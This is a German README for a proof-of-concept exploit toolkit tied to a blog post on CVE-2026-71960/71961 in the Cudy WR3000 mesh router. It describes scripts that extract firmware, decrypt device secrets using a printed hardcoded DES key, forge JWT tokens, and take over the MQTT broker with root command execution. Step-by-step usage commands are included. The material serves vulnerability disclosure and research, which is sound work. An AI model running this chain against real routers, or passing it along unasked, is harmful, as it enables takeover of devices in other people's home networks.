
PoC-Toolkit, das Router-Firmware entpackt, Gerätegeheimnisse entschlüsselt, JWT-Token fälscht und CVE-2026-71960/71961 ausnutzt, um Cudy-WR3000-Mesh-MQTT-Broker zu übernehmen.
PoC-Tools für den Hunt-Benito-Artikel „Derselbe Schlüssel öffnet jede Box: CVE-2026-71960 — Hartcodiertes JWT-Geheimnis im Mesh-MQTT-Broker des Cudy WR3000" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Verkettet mit CVE-2026-71961 (OS-Befehlsinjektion über dieselbe MQTT-Mesh-Schnittstelle), um auf jedem Knoten eines Cudy-WR3000-2.0-Mesh mit Firmware vor 2.5.24 Befehlsausführung als Root zu erreichen.
| Datei | Zweck |
|---|---|
extract_firmware.py | Entpackt eine öffentliche Cudy-Sysupgrade-.bin-Datei (hboot1tag + UBI) in ein vollständiges OpenWrt-Dateisystem. Gegen 2.4.14 / 2.4.15 / 2.5.24 verifiziert. |
decrypt_bdinfo.py | Ermittelt den DES-Schlüssel (DES_string_to_key("88T3j05dtFu8="), Null-IV — aus libbdinfo.so gewonnen) und entschlüsselt einen bdinfo-MTD-Dump von deinem eigenen Gerät; dabei werden deviceid und das für die gesamte Geräteflotte gültige secret offengelegt. |
forge_jwt.py | Erzeugt ein HS256-Token, das alle Prüfungen in mosquitto_auth_unpwd_check erfüllt (exp-Untergrenze 1577826000, Username-Grant, der die deviceid enthält). Verifiziert den Round-Trip selbst. |
mqtt_takeover.py | Stellt mit dem gefälschten JWT eine CONNECT-Verbindung zum Broker über TCP 1883 her, abonniert router/# und nutzt (optional, --cmd) die command.lua → io.popen-Senke von CVE-2026-71961 aus. |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so ruft beim Broker-Start bdinfo_get_value("deviceid") und bdinfo_get_value("secret") auf; der secret-Wert ist der HS256-Signaturschlüssel für alle Mesh-JWTs.exp-Prüfung des Plugins lautet exp >= 1577826000 (2019-12-31T21:00:00Z); das Ergebnis des time()-Aufrufs wird nie verglichen — Tokens laufen also tatsächlich nie ab.alg: none wird abgelehnt (EINVAL, wenn ein Schlüssel angegeben wird) — das Secret ist wirklich erforderlich; es gibt keinen Alg-Confusion-Trick.mosquitto_auth_acl_check() gibt bedingungslos SUCCESS zurück — eine akzeptierte CONNECT-Verbindung gewährt Lese-/Schreibzugriff auf jedes Topic.0.0.0.0:1883 (2.4.x) bedeutet, dass kein TLS-Clientzertifikat benötigt wird. Die korrigierte Firmware 2.5.24 entfernt den 1883-Listener, verwirft das bdinfo-Secret vollständig und setzt auf gegenseitiges TLS (mTLS).Nur für autorisierte Sicherheitsforschung und Ausbildung. Ausschließlich gegen Geräte verwenden, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Die Autoren übernehmen keine Haftung für Missbrauch.